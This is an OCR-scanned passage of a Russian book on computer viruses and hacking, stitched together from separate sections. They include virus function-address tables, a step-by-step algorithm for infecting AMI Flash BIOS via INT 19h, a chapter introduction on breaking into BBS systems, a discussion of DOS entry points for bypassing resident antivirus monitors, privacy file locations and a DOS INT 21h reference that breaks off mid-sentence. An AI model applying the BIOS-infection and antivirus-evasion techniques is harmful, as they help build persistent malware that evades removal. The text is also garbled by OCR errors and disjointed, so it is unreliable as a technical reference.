Истории о вирусах

Адреса и номера функций

Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для
August Release - по адресу OBFF93ClDh. Можно найти другие значе-
ния функции, используя 32-битный отладчик. В таблице 3.1 приведены
адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL

Функция Адрес в June Test Release Адрес в August Test
Release
GetCurrentDir BFF77744h BFF77744h
SetCurrentDir BFF7771Dh BFF7771Dh
GetTime BFF9DOB6h BFF9D14Eh
MessageBox BFF638D9h BFF638D9h
FindFile BFF77893h BFF77893h
FindNext BFF778CBh BFF778CBh
CreateFile BFF77817h BFF77817h
SetFilePointer BFF76FAOh BFF76FAOh
ReadFile BFF75806h BFF75806h
WriteFile BFF7580Dh BFF7580Dh
CloseFile BFF7BC72H BFF7BC72h


AMI Flash вирус


Алгоритм работы вируса:
1. Проверить компьютер на наличие Flash BIOS;
2. Проверить Flash BIOS на зараженность (осуществить выход, если
она заражена);
3. Считать вектор INT 19h из таблицы (прерывание загрузки);
4. Прочесть первые 5 байт от точки входа INT 19h;
5. Проверить BIOS на наличие свободного места для размещения ви-
руса (поиск области нулей);
6. Установить память Flash BIOS в режим записи (обычно она нахо-
дится в режиме "Readonly");
7. Записать вирус в найденную область нулей;
8. Записать переход на вирус в точку входа INT 19h;
9. Восстановить режим "Readonly" для памяти Flash BIOS.
Единственное предназначение INT 19h - быть вызванным в процессе
загрузки, чтобы загрузить boot-сектор в память и передать ему управле-
ние. Прерывание именно то, которое и требуется изменить.
Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и
записывать в нее нельзя. Поэтому во время работы вируса нельзя ис-
пользовать временные переменные в этой памяти. Более целесообразным
является создание вируса для обычного boot-сектора. Этот вирус следу-
ет поместить в конец памяти и оттуда устанавливать вектор INT 13h.
AMI BIOS обладает своими специфическими особенностями при разме-
щении в микросхемах Flash-памяти, которые базируются на использова-
нии функции EOh прерывания INT 16h. Самое интересное состоит
в том, что однажды внесенный в эту память вирус может запретить по-
вторно использовать указанную функцию. Это запретит антивирусным
программам воспользоваться ею в процессе удаления вируса из BIOS
компьютера. Исходя из этого, авторам антивирусных программ придет-
ся трассировать INT 16h, чтобы получить оригинальный вектор.

BBS И FTN-СЕТИ

5 этой главе описаны методы
взлома BBS и FTN-сетей, как
программные, так и "обман-
ные", Представлен исходный
текст программы-взломщика
с комментариями. Подробно
рассказано о "слабых мес-
тах" различных программ для
BBS и FTN-сетей. Даются ре-
комендации по защите компь-
ютера от несанкционирован-
ного проникновения.
BBS - Bulletin Board System (электронная доска объявлений). Это не-
большой информационный центр на базе микрокомпьютера (с винчес-
тером большого объема), к которому пользователи могут подключиться
через свой компьютер по телефонной сети в режиме точка - точка.
Работая с BBS, пользователи могут не только скопировать оттуда име-
ющийся файл, но и оставить свой. Файлом может являться как письмо,
так и обычная программа. Как правило, BBS работает в ночное время,
а днем это обычный телефонный номер. Главным на BBS является сис-
темный оператор (SysOp), который и назначает ее правила и тематику.
Услуги BBS часто являются бесплатными, для связи с ней достаточно
обычной терминальной программы. При первом входе нужно зарегист-
рироваться, затем абоненту выделяется определенный промежуток вре-
мени для работы. Часто выделяемого времени недостаточно, тогда появ-
ляется потребность к взлому BBS. О том, как надо звонить на подобные
BBS, как получать оттуда файлы и писать письма, можно узнать в спе-
циальной литературе. Поставленная задача - рассказать читателю, ка-
ким образом можно повысить себе уровень доступа или получить пол-
ный доступ к компьютеру. Для системных операторов это будет
лишним поводом задуматься о том, как страшны последствия безгра-
мотности...

Безопасность вашей BBS

Если у вас дома стоит собственная BBS или вы только собираетесь
ее открыть, сначала нужно позаботиться о ее безопасности.
Во-первых, прежде чем создать свою BBS, надо выбрать программу для
нее. Чем больше возможностей предоставляет программа, тем больше
всевозможных лазеек, которыми может воспользоваться хакер. В Maxi-
mus эти лазейки уже описаны - лучше всего не пользоваться этой про-
граммой. Если Maximus все-таки используется, лучше не устанавливать
Ш больше никаких дополнительных утилит, поскольку именно они могут
•I, послужить предпосылкой проникновения хакера на BBS. DOS-SHELL
1В1 луиис сразу убрать с BBS. Никогда никому нельзя раскрывать свои па-
1В {1али' копировать информацию о пользователях также не стоит. Береги-
¦В Т^5 троянских программ, копируемых пользователями. Их можно про-
¦н¦ верять либо отладчиками, либо дизассемблером, другого способа нет,
¦В разве что не запускать их совсем.
Особое внимание нужно уделить директориям. Никогда не устанавли-
вайте программный продукт в директорию, предлагаемую программой
по умолчанию. Это, несомненно, может облегчить работу любой троян-
ской программе. Также не стоит запускать маленькие файлы, попавшие
на станцию извне. Обычно такие программы и являются "бомбами оп-
ределенного действия".
Вообще лучшая защита - это нападение. Дело в том, что хакерами мно-
гие называют себя совершенно безосновательно. Хакер по заказу фир-
мы-производителя ломает их системы, таким образом находя лазейки,
которые могут быть использованы подобными взломщиками. То есть
хакер ищет "дыры", а компания их закрывает. Таким образом, суще-
ствуют системы, которые взломать практически невозможно.

Блокировщик вируса


Рассмотрим пример. В дисплейном классе ВУЗа эпидемия, часть машин
заражена неизвестным вирусом. До конца сессии - несколько дней,
выключение машин из учебного процесса смерти подобно (в первую
очередь для обслуживающих класс сотрудников). Ситуация усугубляет-
ся тем, что студенты постоянно переносят программы на дискетах с од-
ной машины на другую. Как ограничить распространение эпидемии,
пока вирус не уничтожен?
Выход - написать антивирус-блокировщик. Практически все резидентные
вирусы определяют факт своего наличия в памяти машины, вызывая ка-
кое-либо программное прерывание с "хитрыми" параметрами. Если напи-
сать простую резидентную программу, которая будет имитировать нали-
чие вируса в памяти компьютера, правильно "отзываясь на пароль",
то вирус, скорее всего, сочтет эту машину уже зараженной. Даже если не-
которые файлы на машине содержат в себе код вируса, в случае исполь-
зования блокировщика заражения всех остальных файлов не произойдет.
Разумеется, надо попытаться запустить блокировщик раньше всех ос-
тальных программ, например, в файле config.sys:
install c:\util\stopsvc.com
Но если вирус успел заразить command.com или стартует из загрузочно-
го сектора, то антивирус-блокировщик не поможет.

Борьба с антивирусными мониторами


Современные антивирусные мониторы умеют отслеживать факт прямо-
го обращения программ к DOS.
Защиту 21-го прерывания можно организовать более эффективно, ис-
пользуя метод встраивания в ядро операционной системы. Общеприня-
тая схема такова: в точку входа прерывания INT 21h записывается инст-
рукция JMP FAR на обработчик, который проверяет номер функции на
безопасность. Он восстанавливает оригинальные инструкции в точке вхо-
да прерывания и вызывает обработчик INT 21h. После возврата управле-
ния из прерывания, в точку входа снова записывается инструкция JMP
FAR, и управление передается программе, вызвавшей INT 21h.
Здесь описан обычный "сплайсинг" (встраивание), который широко
применяется разработчиками вирусов. Отметим, что для перехода не
обязательно использовать инструкцию JMP FAR (она занимает 5 байт
в памяти и не везде может быть размещена). Вместо нее можно приме-
нить INT 3, затратив всего 1 байт. В то же время необходимо обеспе-
чить обработку вызовов с кодами OOh, 4Ch, 31h (они не возвращают уп-
равление в исходную точку), а также самовызовов (при завершении
процессов посредством INT 27h и INT 20h).
Процесс развивается следующим образом. Первый компонент антивирус-
ного монитора встраивается в ядро DOS, а второй - просто перехватыва-
ет цепочку 21-го прерывания. Когда программа выполняет инструкцию
INT 21h, управление передается второму компоненту. У антивирусных
мониторов существует список функций, которые воспринимаются ими
как опасные. Они могут сделать проверку на наличие заданной функ-
ции в этом списке, затем выставить флаг "проход цепочки" и передать
управление дальше. Когда первый компонент получает управление, он
проверяет флаг "прохода цепочки". Если он выставлен, то была инст-
рукция INT 21h, поэтому необходимо сбросить флаг "проход цепочки"
и передать управление в DOS. Если флаг сброшен, это значит, что был
5 - 1436
выполнен прямой вызов. В этом случае требуется принимать соответ-
ствующие меры против возможных действий вируса.
Эта идея исключительно проста и эффективна. В том или ином виде ее
применяют почти все современные антивирусные мониторы. Вот один
из таких вариантов.
После трассировки прерывания выполняется обращение к DOS по
оригинальному адресу. Программа AVPTSR перехватывает обращение.
Точнее, AVPTSR перехватывает INT 2Ah, причем этот вызов произве-
ден из INT 21h, вблизи начала фрагмента. Обработчик INT 08h,
то есть таймера, периодически восстанавливает вектор 2Ah, если он
был отключен.
Подразумевается, что флаг прохода цепочки 21-го прерывания проверя-
ется в обработчике INT 2Ah.

Что "помнит" компьютер

Некоторые программы обладают на редкость большим количеством все-
возможных "черных ходов", "люков", "багов" и так далее. Вот лишь не-
которые примеры:
- Microsoft Outlook Express 4.0 - все письма, которые когда-либо были
отправлены, получены или удалены, он все равно хранит в своей
базе. Поэтому рекомендуется периодически удалять (лучше невосста-
новимыми методами, например, с помощью программы Kremlin 2.1)
эти файлы. Они расположены в следующих директориях:
\Windows\Aplication\Microsoft\Outlook Express\Mail\ - почта,
здесь необходимо удалить все файлы с расширениями IDX и МВХ.
\Wmdows\Aplication\Microsoft\Outlook Express\News\ - новости,
здесь необходимо удалить все файлы с расширениями NCH.
Удалить из базы все удаленные сообщения можно также с помощью
опции "Сжать папки".
- Microsoft Internet Explorer 4.0:
\Windows\Cookies\ - хранит файлы Cookies (их лучше периодичес-
ки удалять с помощью программы Kremlin 2.1).
\Windows\Temporary Internet Files\ - хранит все адреса, которые
посещались в Интернет (их лучше периодически удалять с помо-
щью программы Kremlin 2.1).
- Microsoft Windows 95:
\Windows\History\ - хранит все файлы истории (их лучше перио-
дически удалять с помощью программы Kremlin 2.1).
\Windows\name.pwl - в этих файлах Windows хранит имена, теле-
фоны и пароли для соединения с Интернет, все они легко (с помо-
щью специальных программ) расшифровываются.
\Wmdows\Pronles\name\ - (вместо name будет указано имя пользо-
вателя) хранит профили и все установки конкретных пользователей
(это, кстати, справедливо и для Windows NT)
\Windows\Aplication\Microsoft\Outlook Express\Mail\ - почта
\Windows\Aplication\Microsoft\Outlook Express\News\ - новости
\Windows\Aplication\Microsoft\Address Book\ - адресная книга
\Windows\Cookies\ - файлы Cookies
\Windows\Favorites\ - файлы закладок Интернет
\Windows\History\ - файлы истории Windows
\Windows\user.dat - параметры пользователя
\Windows\user.daO - резерв
Большинство FTP-клиентов сохраняют в специальной директории все
места в Интернет, которые посещались пользователем (а иногда сохра-
няют и нешифрованные имена и пароли). В целях безопасности целесо-
образно периодически (скажем, раз в неделю) стирать содержимое
кэша. Например, в Bullet Proof FTP (одной из лучших программ, полу-
чить которую можно на сервере http://www.bpftp.com), он располагает-
ся в директории Cache. Лучше производить невосстановимое удаление,
например, с помощью программы Kremlin 2.1.

Device=himem. sys dos=high

Точка О 0123:109Е 9090
Точка 1 FDC8:40F8 80FA
Точка 2 FDC8:411B1E06
Точка 2А FDC8:41D12ACD

является оптимальной, то есть


Точка 0 0070:17DO

Точка 2 является оптимальной, то есть в нее целесообразнее всего пере-

давать управление, чтобы обойти резидентные антивирусные мониторы.

Точка 2А - это позиция инструкции INT 2Ah, которую DOS обязатель-

но выполняет в процессе обработки 21-го прерывания.

В конце каждой строки приведены контрольные слова - на тот случай,

если по указанному адресу находится нечто иное.

Точка 2А


Точка О 0070:05DC 892E

Точка 1 0294:1460 ЗА2Е

Точка 2 0294:1480

Точка 2А 0294:151 В 2ACD

Точка 2А


dos=high

Точка О 0123:109Е ОЗЕВ

Точка 1 03AC:40F8 80FA

Точка 2 ОЗАС:411В 1Е06

Точка 2А 03AC:41D1 2ACD

Точка 2А


Точка 1 002A:40F8 SOFA

Точка 2 002А:411В 1Е06

Точка 2А 002A:41D1 2ACD

DOS 7.0 (русская версия)

Точка О OOC9:OFB2 9090
Точка 1 FF03:41E7 80FA
Точка 2 FF03:420A 1E06
Точка 2А FF03:5333 2ACD

DOS, функция 01h Считать со стандартного устройства ввода

Вход:
AH°01h
Выход:
AL - символ, полученный из стандартного ввода
Описание.
Считывает (ожидает) символ со стандартного входного устройства.
Отображает этот символ на стандартное выходное устройство (эхо).
При обнаружении Ctrl-Break выполняется INT 23h.
Примечание.
Ввод расширенных клавиш ASCII (F1-F12, PgUp, курсор и другие) тре-
бует двух обращений к этой функции. Первый вызов возвращает AL=0.
Второй вызов возвращает в AL расширенный код ASCII.

DOS, функция 02h Записать в стандартное устройство вывода

Вход:
AH=02h
DL - символ, выводимый в стандартный вывод
Описание.
Посылает символ из DL в стандартное устройство вывода. Обрабатыва-
ет символ Backspace (ASCII 8), перемещая курсор влево на одну пози-
цию и оставляя его в новой позиции. При обнаружении Ctrl-Break вы-
полняется INT 23h.

DOS, функция 04h Записать символ в стандартное вспомогательное устройство


Вход:
AH^h
DL - символ, выводимый в стандартное вспомогательное устройство
Описание.
Посылает символ, находящийся в регистре DL, на стандартное вспомо-
гательное устройство, COM1 или AUX.

DOS, функция 05h Вывести на принтер


Вход:
АН-ОЗЬ
DL - символ, записываемый на стандартный принтер
Описание.
Посылает символ в DL на стандартное устройство печати, обычно
LPT1.

DOS, функция 06h Консольный ввод-вывод


Вход:
AH=06h
DL=OOh-FEh - символ, посылаемый на стандартный вывод
DL=FFh - запрос ввода со стандартного ввода
Выход:
ZF=0, если осуществлялся ввод символа и символ готов при запросе ввода
AL - считанный символ
ZF=1, если осуществлялся ввод символа и символа в консоли нет
Описание.
При DL°=OFFh выполняет ввод с консоли "Без ожидания", возвращая
включенный флаг нуля ZF, если на консоли нет готового символа. Если
символ готов, сбрасывает флаг ZF и возвращает считанный символ в AL.
Если DL не равен OFFh, то DL направляется на стандартный вывод.

DOS, функция 07h Нефильтрующий консольный ввод без эха


Вход:
AH°07h
Выход:
AL - символ, полученный через стандартный ввод
Описание.
Считывает (ожидает) символ со стандартного входного устройства
и возвращает этот символ в AL. Не проверяет на Ctrl-Break, Backspace
и другие.
8- 1436
Примечание.
Для ввода расширенного символа ASCII должна быть вызвана дважды.
Для проверки статуса используется функция DOS OBh (чтобы не ожи-
дать нажатия клавиши).

DOS, функция 08h Консольный ввод без эха


Вход:
AH=08h
Выход:
AL - символ, полученный через стандартный ввод
Описание.
Считывает (ожидает) символ со стандартного входного устройства
и возвращает этот символ в AL. При обнаружении Ctrl-Break выполня-
ется прерывание INT 23h.
Примечание.
Для ввода расширенного символа ASCII должна быть вызвана дважды.

DOS, функция 09h Запись строки на стандартный вывод


Вход:
АН-09Н
DS:DX - адрес строки, заканчивающейся символом "$" (ASCII 24h)
Описание.
Строка, исключая завершающий ее символ "$", посылается на стандар-
тный вывод. Символы Backspace обрабатываются как в функции 02h
(вывод на дисплей). Чтобы перейти на новую строку, обычно включают
в текст пару CR/LF (ASCII ODh и ASCII OAh). Строки, содержащие
"$", можно передать на стандартное устройство вывода с помощью фун-
кции 40h (ВХ-0).

DOS, функция 10h Закрыть файл через FCB


Вход:
AH=10h
DS:DX - адрес открытого FCB (Таблица Б-2)
Таблица Б-2. Формат FCB.

Смещ. Размер Описание
-07h байт Расширенный FCB, если FFh
-06h 5 байт Зарезервировано
-Olh байт Атрибут файла, если расширенный FCB
+00h байт Номер диска (0 - текущий, 1 - А...)
+01h 8 байт Имя файла
+09h 3 байта Расширение файла
+OCh слово Номер текущего блока
+OEh слово Размер логической записи
+10h двойное слово Размер файла
+14h слово Дата последней записи
+16h слово Время последней записи
+18h 8 байт Зарезервировано
+20h байт Запись с текущего блока
+21h двойное слово Номер записи при непосредственном доступе к файлу

Выход:
AL=OOh, если функция выполнена успешно
AL=FFh, если файл не найден там, где он находился при открытии
с помощью функции OFh
Описание.
Закрывает файл, открытый функцией OFh. Файл должен находиться на
своем первоначальном месте в текущем оглавлении диска, на котором
он был открыт. Если файл найден, оглавление обновляется, файловые
буфера сбрасываются и возвращается AL=OOh. Если файл не найден,
оглавление не обновляется и возвращается AL=FFh.

DOS, функция 11h Найти первый совпадающий файл через FCB


Вход:
AH=llh
DS:DX - адрес неоткрытого FCB (Таблица Б-2)
Выход:
AL°OOh, если подходящее имя найдено
DTA заполнен
AL=FFh, если подходящего имени нет
Описание.
В текущем оглавлении DOS происходит поиск файлов с именем, соот-
ветствующим заданному шаблону. При неудаче возвращается
AL=OFFh. Если имя найдено, AL очищается, в первый байт DTA поме-
щается номер дисковода (А - 1, В - 2 и так далее), а в следующие
32 байта помещается элемент оглавления для найденного файла.
Можно использовать при вызове расширенный FCB, чтобы выбирать
файлы с указанными атрибутами. В этом случае в DTA помещаются:
байт FFh, 7 байт нулей, номер диска и элемент оглавления. ,

DOS, функция 12h Найти следующий совпадающий файл через FCB

Ввод:
АН-12h
DS:DX - адрес неоткрытого FCB (Таблица Б-2)
Выход:
AL=OOh, если подходящее имя найдено
DTA заполнен
AL=FFh, если подходящего имени нет
Описание.
Используется после вызова функции llh (Найти первый совпадающий
файл через FCB) с обобщенным именем файла. Каждый последующий
вызов заполняет DTA очередным подходящим элементом оглавления
и возвращает AL=OOh. Если подходящих имен больше нет, возвращает-
ся AL=FFh.
Резервируемая область в FCB сохраняет информацию, необходимую
для продолжения поиска. Поэтому не стоит открывать и изменять FCB
между вызовами.

DOS, функция 13h Удалить файл через FCB


Вход:
AH=13h
DS:DX - адрес неоткрытого FCB (Таблица Б-2)
Выход:
AL=OOh, если функция выполнена успешно
AL=FFh, если файл не найден или доступ к файлу не разрешен
Описание.
Эта функция удаляет все подходящие файлы в текущем оглавлении
указанного диска согласно спецификации в FCB. Если подходящие
файлы не найдены или если доступ отвергнут (как при попытке уда-
лить файл с атрибутом Read-Only), функция возвращает в регистре AL
значение FFh.

DOS, функция 14h Последовательное чтение из файла через FCB

Вход:
AH°14h
DS:DX - адрес открытого FCB (Таблица Б-2)
Выход:
AL=OOh, если чтение было успешным и DTA содержит данные
AL=01h, если достигнут конец файла (EOF) и данные не считаны
AL=02h, если произошел выход за сегмент (чтения не было)
AL=03h, если EOF и считана усеченная запись (дополнена нулями)
Описание.
Функция читает файл, специфицированный в FCB. Затем соответствен-
но увеличивает значения полей в FCB.
Перед началом последовательной обработки файла нужно сбрасывать
CurRec в ноль, так как функция OFh не инициализирует это поле.

DOS, функция 15h Последовательная запись в файл через FCB


Вход:
AH°15h
DS:DX - адрес открытого FCB (Таблица Б-2)
Выход:
AL=OOh, если запись была успешной
AL=01h, если ошибка переполнения диска (данные не записаны)
AL=02h, если произошел выход за сегмент (записи не было)
Описание.
Функция записывает файл, специфицированный в FCB. Затем соответ-
ственно увеличивает значения полей в FCB.
Перед началом последовательной обработки файла нужно сбрасывать
"Номер текщей записи" в ноль, так как функция OFh не инициализиру-
ет это поле.
Примечание.
DOS буферизует данные, записывая полный сектор за один раз.

DOS, функция 16h Создание файла через FCB


Вход:
АН-16h
DS:DX - адрес неоткрытого FCB (Таблица Б-2)
Выход:
AL=OOh, если функция выполнена успешно
FCB заполнен
AL=FFh, если при выполнении функции возникли ошибки
Описание.
Файл, специфицированный неоткрытым FCB, создается на диске, ука-
занном в FCB (0 - текущий, 1 - А и так далее). Он открывается в те-
кущем оглавлении этого диска. FCB заполняется аналогично функции
OFh. Если файл существует в момент вызова, его элемент оглавления
перекрывается новым файлом, а длина файла сбрасывается в ноль.
Примечание.
Handle-ориентированные функции DOS 2.0+ гораздо удобнее в работе.

DOS, функция 17h Переименовать файл через FCB


Вход:
AH-17h
DS:DX - адрес измененного FCB (Таблица Б-2)
Выход:
AL=OOh, если функция выполнена успешно
AL=FFh, если при выполнении функции возникли ошибки
Описание.
Переименовывает файл в текущем оглавлении.

DOS, функция 19h i Получить текущий диск DOS

Вход:
AH=19h
Выход:
AL - номер текущего диска (0 - А, 1 - В, и так далее)
Описание.
Возвращает номер дисковода текущего диска DOS.

DOS, функция 1Ah Установить адрес DTA


Вход:
AH=lAh
DS:DX - адрес DTA
Описание.
Устанавливает адрес DTA. Все FCB-ориентированные операции работа-
ют с DTA. DOS не позволяет операциям ввода/вывода пересекать гра-
ницу сегмента. Функции поиска llh, 12h, 4Eh и 4Fh помещают данные
в DTA. DTA глобальна, поэтому надо проявлять осторожность при на-
значении ее в рекурсивной процедуре. При запуске программы ее DTA
устанавливается по смещению 80h относительно PSP.

DOS, функция 1Bh Получить информацию FAT для текущего диска

Вход:
AH°lBh
Выход:
DS:BX - адрес байта FAT ID, отражающего тип диска (Таблица Б-3)
DX - всего кластеров (единиц распределения) на диске
AL - секторов на кластер
СХ - байт на сектор
Таблица Б-3. Значения ID.

ID Описание
FFh Floppy, 2 стороны, 8 секторов на дорожку (320Кбайт)
FEh Floppy, 1 сторона, 8 секторов на дорожку (160Кбайт)
FDh Floppy, 2 стороны, 9 секторов на дорожку (360Кбайт)
FCh Floppy, 1 сторона, 9 секторов на дорожку (180Кбайт)
F9h Floppy, 2 стороны, 15 секторов на дорожку (1,2Мбайт)
F8h Жесткий диск
FOh Другой

Описание.
Возвращает информацию о размере и типе текущего диска. Размер дис-
ка (в байтах) равен DX*AL*CX. Свободную память можно найти функ-
циями 36h или 32h.
Версии:
DOS l.x держит FAT в памяти и возвращает DS:BX => FAT.
DOS 2.0+ может держать в памяти лишь часть всей FAT.
Примечание.
Эта функция изменяет содержимое регистра DS.

DOS, функция 1Ch Получить информацию FAT для указанного диска

Вход:
АН-1Ch
DL - номер диска (0 - текущий, 1 - А и так далее)
Выход:
DS:BX - адрес байта FAT ID, отражающего тип диска (приведен в опи-
сании функции IBh)
DX - всего кластеров (единиц распределения)
AL - секторов на кластер
СХ - байт на сектор
Описание.
Аналогична функции IBh с той разницей, что регистр DL указывает
диск, для которого нужно получить информацию.

DOS, функция 21h ^ Считать произвольную запись файла

Вход:
AH-21h
DS:DX - адрес открытого FCB (Таблица Б-2)
Выход:
AL=OOh, если чтение было успешным и DTA заполнена данными
AL°01h, если достигнут конец файла (EOF) и чтения не было
AL=02h, если произошел выход за сегмент (чтения нет)
AL°03h, если встречен EOF и усеченная запись дополнена нулями
Описание.
Данная функция читает из файла с текущей позиции как с указанной
в полях FCB "Запись с текущей позиции" и "Номер записи при непо-
средственном доступе к файлу".

DOS, функция 22h Писать произвольную запись файла


Вход:
AH=22h
DS:DX - адрес открытого FCB (Таблица Б-2)
Выход:
AL=OOh, если запись была успешной
AL=01h, при переполнении диска
AL=02h, если DTA+FCB выходит за сегмент (нет записи)
Описание.
Данная функция записывает в файл с текущей позиции как с указанной
в полях FCB "Запись с текущей позиции" и "Номер записи при непо-
средственном доступе к файлу".

DOS, функция 23п Получить размер файла через FCB


Вход:
АН^ЗЬ
DS:DX - адрес неоткрытого FCB (Таблица Б-2)
Выход:
AL=OOh, если функция выполнена успешно
AL=FFh, если при выполнении функции возникли ошибки
Описание.
Проще определить размер файла при помощи функции 3Dh с последу-
ющим выполнением 42h (при AL=2).

DOS, функция 24h Установить адрес произвольной записи в файле

Вход:
AH°24h
DS:DX - адрес открытого FCB (Таблица Б-2)
Описание.
Устанавливает поле "Номер записи при непосредственном доступе
к файлу" в FCB на файловый адрес, соответствующий значениям полей
"Текущий блок" и "Запись с текущей позиции".

DOS, функция 25h Установить вектор прерывания


Вход:
AH=25h
AL - номер прерывания
DS:DX - вектор прерывания - адрес программы обработки прерывания
Описание.
Устанавливает значение элемента таблицы векторов прерываний для
прерывания с номером AL, равным DS:DX. Это равносильно записи
4-байтового адреса в 0000:(AL*4), но, в отличие от прямой записи, DOS
знает, что происходит, и гарантирует, что в момент записи прерывания
будут заблокированы.
Примечание.
Восстановить DS (если необходимо) после этого вызова.

DOS, функция 26h Создать новый PSP


Вход:
AH=26h
DX - адрес сегмента (параграфа) для нового PSP
CS - сегмент PSP, используемый как шаблон для нового PSP
(Таблица Б-4)
Описание.
Устанавливает PSP для порождаемого процесса по адресу DX:0000.
Текущий PSP (lOOh байт, начиная с CS:0) копируется в DX:OOOOh, поле
МетТор соответственно корректируется, векторы Terminate, Ctrl-Break
и Critical Error копируются в PSP из векторов прерываний INT 22h,
INT 23h и INT 24h. После этого можно загрузить программу с диска
и передать ей управление посредством FAR JMP.
Примечание.
Если перехватывается INT 21h, нужно позаботиться о помещении в стек
корректного CS:IP. Еще лучше использовать функцию 4Ch.
Таблица Б-4. Формат PSP.

Смещ. Размер Описание
+00h 2 байта Инструкция INT 20h
+02h слово Сегмент первого байта памяти, выделенной программе
+04h байт Неиспользуемый заполнитель
+05h байт СР/М системный вызов
+06h слово Первый сегмент для СОМ-файла
+08h 2 байта Запоминаются FARJMP 05h
+OAh двойное слово Хранит INT 22h (адрес завершения)
+OEh двойное слово Хранит INT 23h (адрес обработчика Ctrl-Break)
+12h двойное слово Хранит INT 24h (адрес обработчика критической
ошибки)
+16h слово Сегмент родительского PSP
+18h 20 байт Рабочая таблица файлов. Один байт на файл (FFh -
закрыт)
+2Ch слово Сегмент среды окружения для процесса
+2Eh двойное слово SS:SP на входе при последнем вызове
прерывания INT 21 h
+32h слово Количество входов в рабочей таблице файлов
(по умолчанию 20)
+34h двойное слово Указатель на рабочую таблицу файлов
(по умолчанию PSP:0018h)
+38h двойное слово Указатель на предыдущий PSP
+3Ch 4 байта Зарезервировано
+40h 2 байта Версия при возврате на INT 2 lh (AH=30h)
+42h 26 байт Зарезервировано (используется MS Windows и
версиями DOS выше 6.00)
+5Ch 16 байт Первый FCB по умолчанию '
+6Ch 16 байт Второй FCB по умолчанию
+7Ch 4 байта Не используются
-i-ent, 1 Ой Й-.Д.Т.


DOS, функция 27h Читать произвольный блок файла


Вход:
AH°27h
DS:DX - адрес открытого FCB (Таблица Б-2)
СХ - число считываемых записей
Выход:
AL=OOh, если чтение успешно и DTA заполнена данными
AL=01h если достигнут конец файла (EOF) и данные не считаны
AL=02h, если при чтении произошел выход за границу сегмента
AL=03h, если EOF и считана усеченная порция (дополнена нулями)
СХ - действительное число считанных записей
Описание.
Читает несколько записей из файла, начиная с файлового адреса, ука-
занного полем "Номер записи при непосредственном доступе к файлу"
в FCB. Помещает данные в память, начиная с адреса DTA. Соответству-
ющие поля FCB корректируются, чтобы указывать на следующую за-
пись (первую за прочитанными).

DOS, функция 28h Писать произвольный блок файла


Вход:
АН-28Н
DS:DX - адрес открытого FCB (Таблица Б-2)
СХ - число записываемых блоков (если СХ равен нулю, то размер фай-
ла усекается до указанного в поле FCB "Номер записи при непосред-
стванном доступе к файлу")
Выход:
AL=OOh, если запись успешна "1!
AL=01h, при переполнении диска
AL=02h, если при записи произошел выход за границу сегмента
СХ - действительное число сделанных записей '
Описание.
Записывает несколько блоков в файл, начиная с файлового адреса, ука-
занного полем "Номер записи при непосредственном доступе к файлу"
в FCB. Читает данные из памяти, начиная с адреса DTA. Соответству-
ющие поля FCB корректируются, чтобы указывать на следующую за-
пись (первую за прочитанными).

DOS, функция 29h Разобрать имя файла


Вход:
AH=29h
DS:SI - адрес исходной текстовой строки для разбора
ES:DI - адрес буфера для результирующего неоткрытого FCB
(Таблица Б-2)
AL - битовые флаги, указывающие опции разбора (Таблица Б-5).
Выход:
AL=OOh, если результирующий FCB не содержит обобщенных символов
AL=01h, если результирующий FCB содержит обобщенные символы
AL°FFh, если неверно обозначение диска в имени файла
DS:SI - изменен - указывает на символ сразу вслед за именем файла
ES:DI - не изменен - указывает на неоткрытый FCB
Описание.
Создает неоткрытый FCB из строки текста или параметра команды.
Текст, начиная с DS:SI, анализируется как имя файла в формате
D.-FILENAME.EXT, и буфер по адресу ES:DI заполняется как соответ-
ственно форматированный FCB.
Таблица Б-5. Битовые флаги.

Бит Описание
0 Пропустить разделители
1 Использовать присутствующий номер диска, если диск не указан,
вместо того, чтобы устанавливать это поле в ноль ;
2 Использовать в FCB имя присутствующего файла, если базовое имя
не указано, вместо того, чтобы заполнять это поле стандартным •
заполнителем ,
3 Использовать в FCB расширение присутствующего файла, если
расширение не указано, вместо того, чтобы заполнять это поле
стандартным заполнителем
4 Зарезервировано


DOS, функция 2Ah Получить системную дату


Вход:
АН-2АН
Выход:
AL - день недели (0 - воскресенье, 1 - понедельник, ... 6 - суббота),
DOS 3.0+
СХ - год (от 1980 до 2099)
DH - месяц (1 до 12)
DL - день (1 до 31)
Описание.
Возвращает текущую дату, которая известна системе.
Версии.
DOS 2.x не гарантирует возврата в AL значения дня.
DOS 1.0+ возвращает правильный день недели.
Версии до 2.1 имеют проблемы с переходом через дату.

DOS, функция 2Bh Установить системную дату


Вход:
AH=2Bh
СХ - год (от 1980 до 2099)
DH - месяц (от 1 до 12)
DL - день (от 1 до 31)
Выход:
AL=OOh, если дата корректна ,
AL=FFh, если дата некорректна и не изменена
Описание. ,
Устанавливает системную дату DOS.

DOS, функция 2Ch Получить время DOS


Вход:
AH°2Ch
Выход:
СН - часы (от 0 до 23)
CL - минуты (от 0 до 59)
DH - секунды (от 0 до 59)
DL - сотые доли секунды (от 0 до 99)
Описание.
Возвращает текущее время, которое известно системе.
Примечание.
Поскольку системные часы имеют частоту 18.2 Гц (интервал 55мс),
DL имеет точность примерно 0.04 сек.

DOS, функция 2Dh Установить время DOS


Вход:
AH-2Dh
СН - часы (от 0 до 23)
CL - минуты (от 0 до 59)
DH - секунды (от 0 до 59)
DL - сотые доли секунды (от 0 до 99)
Выход:
AL=OOh, если время корректно
AL^FFh, если время некорректно и не изменено
Описание.
Устанавливает системное время DOS.

DOS, функция 2Eh Установить/сбросить переключатель верификации

Вход:
AH^Eh
AL=OOh - отключить верификацию
AL=01h - включить верификацию
Описание.
Задает, должна ли DOS верифицировать (считывать обратно) каждый
сектор, записываемый на диск. Это замедляет операции записи на диск,
но гарантирует максимальную надежность записи.

DOS, функция 2Fh Получить адрес текущей DTA


Вход:
AH=2Fh
Выход:
ES:BX - адрес начала текущей DTA
Описание.
Возвращает адрес начала области ввода-вывода (DTA). Поскольку DTA
глобальна для всех процессов, в рекурсивной процедуре (например, при
проходе по дереву оглавления) может потребоваться сохранить адрес
DTA, а впоследствии восстановить его посредством функции lAh.
Примечание.
Эта функция изменяет сегментный регистр ES.
Версии: DOS 2.00 и выше

DOS, функция 31h Завершиться и остаться резидентным


Вход:
AH=31h
AL - код выхода
DX - объем памяти, оставляемой резидентной (в параграфах)
Описание.
Выходит в родительский процесс, сохраняя код выхода в AL. Код выхо-
да можно получить через функцию 4Dh. DOS устанавливает начальное
